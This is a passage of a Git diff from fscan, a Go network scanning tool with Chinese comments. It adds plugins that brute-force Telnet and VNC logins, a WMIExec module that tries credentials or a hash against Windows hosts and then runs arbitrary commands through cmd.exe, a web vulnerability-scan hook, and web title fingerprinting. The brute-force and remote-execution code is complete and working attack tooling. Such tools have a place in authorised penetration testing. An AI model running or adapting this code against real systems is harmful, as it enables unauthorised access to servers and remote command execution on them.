errlog := fmt.Sprintf("Telnet连接失败 %s 用户名:%v 密码:%v 错误:%v",
target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// telnetConn 尝试建立Telnet连接并进行身份验证
func telnetConn(info *Common.HostInfo, user, pass string) (flag bool, err error) {
client := NewTelnet(info.Host, info.Ports)
if err = client.Connect(); err != nil {
return false, err
}
defer client.Close()
client.UserName = user
client.Password = pass
client.ServerType = client.MakeServerType()
if client.ServerType == UnauthorizedAccess {
return true, nil
}
err = client.Login()
return false, err
}
const (
// 写入操作后的延迟时间
TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond
// Telnet基础控制字符
IAC = byte(255) // 解释为命令(Interpret As Command)
DONT = byte(254) // 请求对方停止执行某选项
DO = byte(253) // 请求对方执行某选项
WONT = byte(252) // 拒绝执行某选项
WILL = byte(251) // 同意执行某选项
// 子协商相关控制字符
SB = byte(250) // 子协商开始(Subnegotiation Begin)
SE = byte(240) // 子协商结束(Subnegotiation End)
// 特殊功能字符
NULL = byte(0) // 空字符
EOF = byte(236) // 文档结束
SUSP = byte(237) // 暂停进程
ABORT = byte(238) // 停止进程
REOR = byte(239) // 记录结束
// 控制操作字符
NOP = byte(241) // 无操作
DM = byte(242) // 数据标记
BRK = byte(243) // 中断
IP = byte(244) // 中断进程
AO = byte(245) // 终止输出
AYT = byte(246) // 在线确认
EC = byte(247) // 擦除字符
EL = byte(248) // 擦除行
GA = byte(249) // 继续进行
// Telnet协议选项代码 (来自arpa/telnet.h)
BINARY = byte(0) // 8位数据通道
ECHO = byte(1) // 回显
RCP = byte(2) // 准备重新连接
SGA = byte(3) // 禁止继续
NAMS = byte(4) // 近似消息大小
STATUS = byte(5) // 状态查询
TM = byte(6) // 时间标记
RCTE = byte(7) // 远程控制传输和回显
// 输出协商选项
NAOL = byte(8) // 输出行宽度协商
NAOP = byte(9) // 输出页面大小协商
NAOCRD = byte(10) // 回车处理协商
NAOHTS = byte(11) // 水平制表符停止协商
NAOHTD = byte(12) // 水平制表符处理协商
NAOFFD = byte(13) // 换页符处理协商
NAOVTS = byte(14) // 垂直制表符停止协商
NAOVTD = byte(15) // 垂直制表符处理协商
NAOLFD = byte(16) // 换行符处理协商
// 扩展功能选项
XASCII = byte(17) // 扩展ASCII字符集
LOGOUT = byte(18) // 强制登出
BM = byte(19) // 字节宏
DET = byte(20) // 数据输入终端
SUPDUP = byte(21) // SUPDUP协议
SUPDUPOUTPUT = byte(22) // SUPDUP输出
SNDLOC = byte(23) // 发送位置
// 终端相关选项
TTYPE = byte(24) // 终端类型
EOR = byte(25) // 记录结束
TUID = byte(26) // TACACS用户识别
OUTMRK = byte(27) // 输出标记
TTYLOC = byte(28) // 终端位置编号
VT3270REGIME = byte(29) // 3270体制
// 通信控制选项
X3PAD = byte(30) // X.3 PAD
NAWS = byte(31) // 窗口大小
TSPEED = byte(32) // 终端速度
LFLOW = byte(33) // 远程流控制
LINEMODE = byte(34) // 行模式选项
// 环境与认证选项
XDISPLOC = byte(35) // X显示位置
OLD_ENVIRON = byte(36) // 旧环境变量
AUTHENTICATION = byte(37) // 认证
ENCRYPT = byte(38) // 加密选项
NEW_ENVIRON = byte(39) // 新环境变量
// IANA分配的额外选项
// http://www.iana.org/assignments/telnet-options
TN3270E = byte(40) // TN3270E
XAUTH = byte(41) // XAUTH
CHARSET = byte(42) // 字符集
RSP = byte(43) // 远程串行端口
COM_PORT_OPTION = byte(44) // COM端口控制
SUPPRESS_LOCAL_ECHO = byte(45) // 禁止本地回显
TLS = byte(46) // 启动TLS
KERMIT = byte(47) // KERMIT协议
SEND_URL = byte(48) // 发送URL
FORWARD_X = byte(49) // X转发
// 特殊用途选项
PRAGMA_LOGON = byte(138) // PRAGMA登录
SSPI_LOGON = byte(139) // SSPI登录
PRAGMA_HEARTBEAT = byte(140) // PRAGMA心跳
EXOPL = byte(255) // 扩展选项列表
NOOPT = byte(0) // 无选项
)
// 服务器类型常量定义
const (
Closed = iota // 连接关闭
UnauthorizedAccess // 无需认证
OnlyPassword // 仅需密码
UsernameAndPassword // 需要用户名和密码
)
// TelnetClient Telnet客户端结构体
type TelnetClient struct {
IPAddr string // 服务器IP地址
Port string // 服务器端口
UserName string // 用户名
Password string // 密码
conn net.Conn // 网络连接
LastResponse string // 最近一次响应内容
ServerType int // 服务器类型
}
// NewTelnet 创建新的Telnet客户端实例
func NewTelnet(addr, port string) *TelnetClient {
return &TelnetClient{
IPAddr: addr,
Port: port,
UserName: "",
Password: "",
conn: nil,
LastResponse: "",
ServerType: Closed,
}
}
// Connect 建立Telnet连接
func (c *TelnetClient) Connect() error {
// 建立TCP连接,超时时间5秒
conn, err := net.DialTimeout("tcp", c.Netloc(), 5*time.Second)
if err != nil {
return err
}
c.conn = conn
// 启动后台goroutine处理服务器响应
go func() {
for {
// 读取服务器响应
buf, err := c.read()
if err != nil {
// 处理连接关闭和EOF情况
if strings.Contains(err.Error(), "closed") ||
strings.Contains(err.Error(), "EOF") {
break
}
break
}
// 处理响应数据
displayBuf, commandList := c.SerializationResponse(buf)
if len(commandList) > 0 {
// 有命令需要回复
replyBuf := c.MakeReplyFromList(commandList)
c.LastResponse += string(displayBuf)
_ = c.write(replyBuf)
} else {
// 仅保存显示内容
c.LastResponse += string(displayBuf)
}
}
}()
// 等待连接初始化完成
time.Sleep(time.Second * 3)
return nil
}
// WriteContext 写入数据到Telnet连接
func (c *TelnetClient) WriteContext(s string) {
// 写入字符串并添加回车及空字符
_ = c.write([]byte(s + "\x0d\x00"))
}
// ReadContext 读取Telnet连接返回的内容
func (c *TelnetClient) ReadContext() string {
// 读取完成后清空缓存
defer func() { c.Clear() }()
// 等待响应
if c.LastResponse == "" {
time.Sleep(time.Second)
}
// 处理特殊字符
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "")
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n")
return c.LastResponse
}
// Netloc 获取网络地址字符串
func (c *TelnetClient) Netloc() string {
return fmt.Sprintf("%s:%s", c.IPAddr, c.Port)
}
// Close 关闭Telnet连接
func (c *TelnetClient) Close() {
c.conn.Close()
}
// SerializationResponse 解析Telnet响应数据
func (c *TelnetClient) SerializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) {
for {
// 查找IAC命令标记
index := bytes.IndexByte(responseBuf, IAC)
if index == -1 || len(responseBuf)-index < 2 {
displayBuf = append(displayBuf, responseBuf...)
break
}
// 获取选项字符
ch := responseBuf[index+1]
// 处理连续的IAC
if ch == IAC {
displayBuf = append(displayBuf, responseBuf[:index]...)
responseBuf = responseBuf[index+1:]
continue
}
// 处理DO/DONT/WILL/WONT命令
if ch == DO || ch == DONT || ch == WILL || ch == WONT {
commandBuf := responseBuf[index : index+3]
commandList = append(commandList, commandBuf)
displayBuf = append(displayBuf, responseBuf[:index]...)
responseBuf = responseBuf[index+3:]
continue
}
// 处理子协商命令
if ch == SB {
displayBuf = append(displayBuf, responseBuf[:index]...)
seIndex := bytes.IndexByte(responseBuf, SE)
commandList = append(commandList, responseBuf[index:seIndex])
responseBuf = responseBuf[seIndex+1:]
continue
}
break
}
return displayBuf, commandList
}
// MakeReplyFromList 处理命令列表并生成回复
func (c *TelnetClient) MakeReplyFromList(list [][]byte) []byte {
var reply []byte
for _, command := range list {
reply = append(reply, c.MakeReply(command)...)
}
return reply
}
// MakeReply 根据命令生成对应的回复
func (c *TelnetClient) MakeReply(command []byte) []byte {
// 命令至少需要3字节
if len(command) < 3 {
return []byte{}
}
verb := command[1] // 动作类型
option := command[2] // 选项码
// 处理回显(ECHO)和抑制继续进行(SGA)选项
if option == ECHO || option == SGA {
switch verb {
case DO:
return []byte{IAC, WILL, option}
case DONT:
return []byte{IAC, WONT, option}
case WILL:
return []byte{IAC, DO, option}
case WONT:
return []byte{IAC, DONT, option}
case SB:
// 处理子协商命令
// 命令格式: IAC + SB + option + modifier + IAC + SE
if len(command) >= 4 {
modifier := command[3]
if modifier == ECHO {
return []byte{IAC, SB, option, BINARY, IAC, SE}
}
}
}
} else {
// 处理其他选项 - 拒绝所有请求
switch verb {
case DO, DONT:
return []byte{IAC, WONT, option}
case WILL, WONT:
return []byte{IAC, DONT, option}
}
}
return []byte{}
}
// read 从Telnet连接读取数据
func (c *TelnetClient) read() ([]byte, error) {
var buf [2048]byte
n, err := c.conn.Read(buf[0:])
if err != nil {
return nil, err
}
return buf[:n], nil
}
// write 向Telnet连接写入数据
func (c *TelnetClient) write(buf []byte) error {
// 设置写入超时
_ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3))
_, err := c.conn.Write(buf)
if err != nil {
return err
}
return nil
}
// Login 根据服务器类型执行登录
func (c *TelnetClient) Login() error {
switch c.ServerType {
case Closed:
return errors.New("service is disabled")
case UnauthorizedAccess:
return nil
case OnlyPassword:
return c.loginForOnlyPassword()
case UsernameAndPassword:
return c.loginForUsernameAndPassword()
default:
return errors.New("unknown server type")
}
}
// MakeServerType 通过分析服务器响应判断服务器类型
func (c *TelnetClient) MakeServerType() int {
responseString := c.ReadContext()
response := strings.Split(responseString, "\n")
lastLine := strings.ToLower(response[len(response)-1])
// 检查是否需要用户名和密码
if containsAny(lastLine, []string{"user", "name", "login", "account", "用户名", "登录"}) {
return UsernameAndPassword
}
// 检查是否只需要密码
if strings.Contains(lastLine, "pass") {
return OnlyPassword
}
// 检查是否无需认证的情况
if isNoAuthRequired(lastLine) || c.isLoginSucceed(responseString) {
return UnauthorizedAccess
}
return Closed
}
// 辅助函数:检查字符串是否包含任意给定子串
func containsAny(s string, substrings []string) bool {
for _, sub := range substrings {
if strings.Contains(s, sub) {
return true
}
}
return false
}
// 辅助函数:检查是否无需认证
func isNoAuthRequired(line string) bool {
patterns := []string{
`^/ #.*`,
`^<[A-Za-z0-9_]+>`,
`^#`,
}
for _, pattern := range patterns {
if regexp.MustCompile(pattern).MatchString(line) {
return true
}
}
return false
}
// loginForOnlyPassword 处理只需密码的登录
func (c *TelnetClient) loginForOnlyPassword() error {
c.Clear() // 清空之前的响应
// 发送密码并等待响应
c.WriteContext(c.Password)
time.Sleep(time.Second * 3)
// 验证登录结果
responseString := c.ReadContext()
if c.isLoginFailed(responseString) {
return errors.New("login failed")
}
if c.isLoginSucceed(responseString) {
return nil
}
return errors.New("login failed")
}
// loginForUsernameAndPassword 处理需要用户名和密码的登录
func (c *TelnetClient) loginForUsernameAndPassword() error {
// 发送用户名
c.WriteContext(c.UserName)
time.Sleep(time.Second * 3)
c.Clear()
// 发送密码
c.WriteContext(c.Password)
time.Sleep(time.Second * 5)
// 验证登录结果
responseString := c.ReadContext()
if c.isLoginFailed(responseString) {
return errors.New("login failed")
}
if c.isLoginSucceed(responseString) {
return nil
}
return errors.New("login failed")
}
// Clear 清空最近一次响应
func (c *TelnetClient) Clear() {
c.LastResponse = ""
}
// 登录失败的关键词列表
var loginFailedString = []string{
"wrong",
"invalid",
"fail",
"incorrect",
"error",
}
// isLoginFailed 检查是否登录失败
func (c *TelnetClient) isLoginFailed(responseString string) bool {
responseString = strings.ToLower(responseString)
// 空响应视为失败
if responseString == "" {
return true
}
// 检查失败关键词
for _, str := range loginFailedString {
if strings.Contains(responseString, str) {
return true
}
}
// 检查是否仍在要求输入凭证
patterns := []string{
"(?is).*pass(word)?:$",
"(?is).*user(name)?:$",
"(?is).*login:$",
}
for _, pattern := range patterns {
if regexp.MustCompile(pattern).MatchString(responseString) {
return true
}
}
return false
}
// isLoginSucceed 检查是否登录成功
func (c *TelnetClient) isLoginSucceed(responseString string) bool {
// 获取最后一行响应
lines := strings.Split(responseString, "\n")
lastLine := lines[len(lines)-1]
// 检查命令提示符
if regexp.MustCompile("^[#$].*").MatchString(lastLine) ||
regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) {
return true
}
// 检查last login信息
if regexp.MustCompile("(?:s)last login").MatchString(responseString) {
return true
}
// 发送测试命令验证
c.Clear()
c.WriteContext("?")
time.Sleep(time.Second * 3)
responseString = c.ReadContext()
// 检查响应长度
if strings.Count(responseString, "\n") > 6 || len([]rune(responseString)) > 100 {
return true
}
return false
}

132
Plugins/VNC.go Normal file
View File

@ -0,0 +1,132 @@
package Plugins
import (
"fmt"
"github.com/mitchellh/go-vnc"
"github.com/shadow1ng/fscan/Common"
"net"
"time"
)
func VncScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
modename := "vnc"
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", totalPass))
tried := 0
// 遍历所有密码
for _, pass := range Common.Passwords {
tried++
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", tried, totalPass, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retryCount+1, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(pass string) {
success, err := VncConn(info, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
// 连接成功
successLog := fmt.Sprintf("%s://%s 密码: %v", modename, target, pass)
Common.LogSuccess(successLog)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "vnc",
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("%s://%s 尝试密码: %v 错误: %v",
modename, target, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", tried))
return tmperr
}
// VncConn 尝试建立VNC连接
func VncConn(info *Common.HostInfo, pass string) (flag bool, err error) {
flag = false
Host, Port := info.Host, info.Ports
// 建立TCP连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port),
time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
// 配置VNC客户端
config := &vnc.ClientConfig{
Auth: []vnc.ClientAuth{
&vnc.PasswordAuth{
Password: pass,
},
},
}
// 尝试VNC认证
client, err := vnc.Client(conn, config)
if err == nil {
defer client.Close()
flag = true
}
return
}

185
Plugins/WMIExec.go Normal file
View File

@ -0,0 +1,185 @@
package Plugins
import (
"fmt"
"github.com/go-ole/go-ole"
"github.com/go-ole/go-ole/oleutil"
"github.com/shadow1ng/fscan/Common"
"os"
"strings"
"time"
)
var (
ClientHost string
flag bool
)
func init() {
if flag {
return
}
clientHost, err := os.Hostname()
if err != nil {
fmt.Println(err)
}
ClientHost = clientHost
flag = true
}
func WmiExec(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return nil
}
maxRetries := Common.MaxRetries
starttime := time.Now().Unix()
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
// 检查是否超时
if time.Now().Unix()-starttime > int64(Common.Timeout) {
return fmt.Errorf("扫描超时")
}
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 执行WMI连接
done := make(chan struct {
success bool
err error
})
go func(user, pass string) {
success, err := Wmiexec(info, user, pass, Common.HashValue)
done <- struct {
success bool
err error
}{success, err}
}(user, pass)
// 等待结果或超时
var err error
select {
case result := <-done:
err = result.err
if result.success {
// 成功连接
var successLog string
if Common.Domain != "" {
successLog = fmt.Sprintf("WmiExec %v:%v:%v\\%v ",
info.Host, info.Ports, Common.Domain, user)
} else {
successLog = fmt.Sprintf("WmiExec %v:%v:%v ",
info.Host, info.Ports, user)
}
if Common.HashValue != "" {
successLog += "hash: " + Common.HashValue
} else {
successLog += pass
}
Common.LogSuccess(successLog)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("WmiExec %v:%v %v %v %v",
info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
Common.LogError(errlog)
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue // 继续重试
}
}
break // 如果不需要重试,跳出重试循环
}
// 如果是32位hash值,只尝试一次密码
if len(Common.HashValue) == 32 {
break
}
}
}
return tmperr
}
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command)
}
func WMIExec(target, username, password, hash, domain, command string) (flag bool, err error) {
err = ole.CoInitialize(0)
if err != nil {
return false, err
}
defer ole.CoUninitialize()
// 构建认证字符串
var auth string
if domain != "" {
auth = fmt.Sprintf("%s\\%s:%s", domain, username, password)
} else {
auth = fmt.Sprintf("%s:%s", username, password)
}
// 构建WMI连接字符串
connectStr := fmt.Sprintf("winmgmts://%s@%s/root/cimv2", auth, target)
unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator")
if err != nil {
return false, err
}
defer unknown.Release()
wmi, err := unknown.QueryInterface(ole.IID_IDispatch)
if err != nil {
return false, err
}
defer wmi.Release()
// 使用connectStr来建立连接
service, err := oleutil.CallMethod(wmi, "ConnectServer", "", connectStr)
if err != nil {
return false, err
}
defer service.Clear()
// 连接成功
flag = true
// 如果有命令则执行
if command != "" {
command = "C:\\Windows\\system32\\cmd.exe /c " + command
// 创建Win32_Process对象来执行命令
process, err := oleutil.CallMethod(service.ToIDispatch(), "Get", "Win32_Process")
if err != nil {
return flag, err
}
defer process.Clear()
// 执行命令
_, err = oleutil.CallMethod(process.ToIDispatch(), "Create", command)
if err != nil {
return flag, err
}
}
return flag, nil
}

12
Plugins/WebPoc.go Normal file
View File

@ -0,0 +1,12 @@
package Plugins
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan"
)
// WebPoc 直接执行Web漏洞扫描
func WebPoc(info *Common.HostInfo) error {
WebScan.WebScan(info)
return nil
}

409
Plugins/WebTitle.go Normal file
View File

@ -0,0 +1,409 @@
package Plugins
import (
"compress/gzip"
"crypto/tls"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"strings"
"time"
"unicode/utf8"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"golang.org/x/text/encoding/simplifiedchinese"
)
// WebTitle 获取Web标题和指纹信息
func WebTitle(info *Common.HostInfo) error {
Common.LogDebug(fmt.Sprintf("开始获取Web标题初始信息: %+v", info))
// 获取网站标题信息
err, CheckData := GOWebTitle(info)
Common.LogDebug(fmt.Sprintf("GOWebTitle执行完成 - 错误: %v, 检查数据长度: %d", err, len(CheckData)))
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
Common.LogDebug(fmt.Sprintf("信息检查完成,获得信息: %v", info.Infostr))
// 检查是否为打印机,避免意外打印
for _, v := range info.Infostr {
if v == "打印机" {
Common.LogDebug("检测到打印机,停止扫描")
return nil
}
}
// 输出错误信息(如果有)
if err != nil {
errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err)
Common.LogError(errlog)
}
return err
}
// GOWebTitle 获取网站标题并处理URL
func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
Common.LogDebug(fmt.Sprintf("开始处理URL: %s", info.Url))
// 如果URL未指定根据端口生成URL
if info.Url == "" {
Common.LogDebug("URL为空根据端口生成URL")
switch info.Ports {
case "80":
info.Url = fmt.Sprintf("http://%s", info.Host)
case "443":
info.Url = fmt.Sprintf("https://%s", info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("正在检测主机协议: %s", host))
protocol := GetProtocol(host, Common.Timeout)
Common.LogDebug(fmt.Sprintf("检测到协议: %s", protocol))
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else {
// 处理未指定协议的URL
if !strings.Contains(info.Url, "://") {
Common.LogDebug("URL未包含协议开始检测")
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, Common.Timeout)
Common.LogDebug(fmt.Sprintf("检测到协议: %s", protocol))
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
Common.LogDebug(fmt.Sprintf("协议检测完成后的URL: %s", info.Url))
// 第一次获取URL
Common.LogDebug("第一次尝试访问URL")
err, result, CheckData := geturl(info, 1, CheckData)
Common.LogDebug(fmt.Sprintf("第一次访问结果 - 错误: %v, 返回信息: %s", err, result))
if err != nil && !strings.Contains(err.Error(), "EOF") {
return
}
// 处理URL跳转
if strings.Contains(result, "://") {
Common.LogDebug(fmt.Sprintf("检测到重定向到: %s", result))
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
Common.LogDebug(fmt.Sprintf("重定向请求结果 - 错误: %v, 返回信息: %s", err, result))
if err != nil {
return
}
}
// 处理HTTP到HTTPS的升级
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
Common.LogDebug("正在升级到HTTPS")
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
Common.LogDebug(fmt.Sprintf("升级后的URL: %s", info.Url))
err, result, CheckData = geturl(info, 1, CheckData)
// 处理升级后的跳转
if strings.Contains(result, "://") {
Common.LogDebug(fmt.Sprintf("HTTPS升级后发现重定向到: %s", result))
info.Url = result
err, _, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
}
Common.LogDebug(fmt.Sprintf("GOWebTitle执行完成 - 错误: %v", err))
if err != nil {
return
}
return
}
func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
Common.LogDebug(fmt.Sprintf("geturl开始执行 - URL: %s, 标志位: %d", info.Url, flag))
// 处理目标URL
Url := info.Url
if flag == 2 {
Common.LogDebug("处理favicon.ico URL")
URL, err := url.Parse(Url)
if err == nil {
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
} else {
Url += "/favicon.ico"
}
Common.LogDebug(fmt.Sprintf("favicon URL: %s", Url))
}
// 创建HTTP请求
Common.LogDebug("开始创建HTTP请求")
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
Common.LogDebug(fmt.Sprintf("创建HTTP请求失败: %v", err))
return err, "", CheckData
}
// 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if Common.Cookie != "" {
req.Header.Set("Cookie", Common.Cookie)
}
req.Header.Set("Connection", "close")
Common.LogDebug("已设置请求头")
// 选择HTTP客户端
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect
Common.LogDebug("使用不跟随重定向的客户端")
} else {
client = lib.Client
Common.LogDebug("使用普通客户端")
}
// 检查客户端是否为空
if client == nil {
Common.LogDebug("错误: HTTP客户端为空")
return fmt.Errorf("HTTP客户端未初始化"), "", CheckData
}
// 发送请求
Common.LogDebug("开始发送HTTP请求")
resp, err := client.Do(req)
if err != nil {
Common.LogDebug(fmt.Sprintf("HTTP请求失败: %v", err))
return err, "https", CheckData
}
defer resp.Body.Close()
Common.LogDebug(fmt.Sprintf("收到HTTP响应状态码: %d", resp.StatusCode))
// 读取响应内容
body, err := getRespBody(resp)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取响应内容失败: %v", err))
return err, "https", CheckData
}
Common.LogDebug(fmt.Sprintf("成功读取响应内容,长度: %d", len(body)))
// 保存检查数据
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
Common.LogDebug("已保存检查数据")
// 处理非favicon请求
var reurl string
if flag != 2 {
// 处理编码
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
// 获取页面信息
title := gettitle(body)
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(body))
}
// 收集服务器信息
serverInfo := make(map[string]interface{})
serverInfo["title"] = title
serverInfo["length"] = length
serverInfo["status_code"] = resp.StatusCode
// 收集响应头信息
for k, v := range resp.Header {
if len(v) > 0 {
serverInfo[strings.ToLower(k)] = v[0]
}
}
// 检查重定向
redirURL, err1 := resp.Location()
if err1 == nil {
reurl = redirURL.String()
serverInfo["redirect_url"] = reurl
}
// 保存扫描结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: info.Host,
Status: "identified",
Details: map[string]interface{}{
"port": info.Ports,
"service": "http",
"title": title,
"url": resp.Request.URL.String(),
"status_code": resp.StatusCode,
"length": length,
"server_info": serverInfo,
"fingerprints": info.Infostr, // 指纹信息
},
}
Common.SaveResult(result)
// 输出控制台日志
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
logMsg += fmt.Sprintf(" 重定向地址: %s", reurl)
}
Common.LogSuccess(logMsg)
}
// 返回结果
if reurl != "" {
Common.LogDebug(fmt.Sprintf("返回重定向URL: %s", reurl))
return nil, reurl, CheckData
}
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
Common.LogDebug("返回HTTPS升级标志")
return nil, "https", CheckData
}
Common.LogDebug("geturl执行完成无特殊返回")
return nil, "", CheckData
}
// getRespBody 读取HTTP响应体内容
func getRespBody(oResp *http.Response) ([]byte, error) {
Common.LogDebug("开始读取响应体内容")
var body []byte
// 处理gzip压缩的响应
if oResp.Header.Get("Content-Encoding") == "gzip" {
Common.LogDebug("检测到gzip压缩开始解压")
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
Common.LogDebug(fmt.Sprintf("创建gzip解压器失败: %v", err))
return nil, err
}
defer gr.Close()
// 循环读取解压内容
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
Common.LogDebug(fmt.Sprintf("读取压缩内容失败: %v", err))
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
Common.LogDebug(fmt.Sprintf("gzip解压完成内容长度: %d", len(body)))
} else {
// 直接读取未压缩的响应
Common.LogDebug("读取未压缩的响应内容")
raw, err := io.ReadAll(oResp.Body)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取响应内容失败: %v", err))
return nil, err
}
body = raw
Common.LogDebug(fmt.Sprintf("读取完成,内容长度: %d", len(body)))
}
return body, nil
}
// gettitle 从HTML内容中提取网页标题
func gettitle(body []byte) (title string) {
Common.LogDebug("开始提取网页标题")
// 使用正则表达式匹配title标签内容
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
title = string(find[1])
Common.LogDebug(fmt.Sprintf("找到原始标题: %s", title))
// 清理标题内容
title = strings.TrimSpace(title) // 去除首尾空格
title = strings.Replace(title, "\n", "", -1) // 去除换行
title = strings.Replace(title, "\r", "", -1) // 去除回车
title = strings.Replace(title, "&nbsp;", " ", -1) // 替换HTML空格
// 截断过长的标题
if len(title) > 100 {
Common.LogDebug("标题超过100字符进行截断")
title = title[:100]
}
// 处理空标题
if title == "" {
Common.LogDebug("标题为空,使用双引号代替")
title = "\"\""
}
} else {
Common.LogDebug("未找到标题标签")
title = "无标题"
}
Common.LogDebug(fmt.Sprintf("最终标题: %s", title))
return
}
// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS)
func GetProtocol(host string, Timeout int64) (protocol string) {
Common.LogDebug(fmt.Sprintf("开始检测主机协议 - 主机: %s, 超时: %d秒", host, Timeout))
protocol = "http"
// 根据标准端口快速判断协议
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
Common.LogDebug("检测到HTTP标准端口或无端口使用HTTP协议")
return
} else if strings.HasSuffix(host, ":443") {
Common.LogDebug("检测到HTTPS标准端口使用HTTPS协议")
protocol = "https"
return
}
// 尝试建立TCP连接
Common.LogDebug("尝试建立TCP连接")
socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if err != nil {
Common.LogDebug(fmt.Sprintf("TCP连接失败: %v", err))
return
}
// 尝试TLS握手
Common.LogDebug("开始TLS握手")
conn := tls.Client(socksconn, &tls.Config{
MinVersion: tls.VersionTLS10,
InsecureSkipVerify: true,
})
// 确保连接关闭
defer func() {
if conn != nil {
defer func() {
if err := recover(); err != nil {
Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err))
}
}()
Common.LogDebug("关闭连接")
conn.Close()
}
}()
// 设置连接超时
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
// 执行TLS握手
err = conn.Handshake()
if err == nil || strings.Contains(err.Error(), "handshake failure") {
Common.LogDebug("TLS握手成功或握手失败但确认是HTTPS协议")
protocol = "https"
} else {
Common.LogDebug(fmt.Sprintf("TLS握手失败: %v使用HTTP协议", err))
}
Common.LogDebug(fmt.Sprintf("协议检测完成,使用: %s", protocol))
return protocol
}

View File

@ -1,105 +0,0 @@
package Plugins
import (
"bytes"
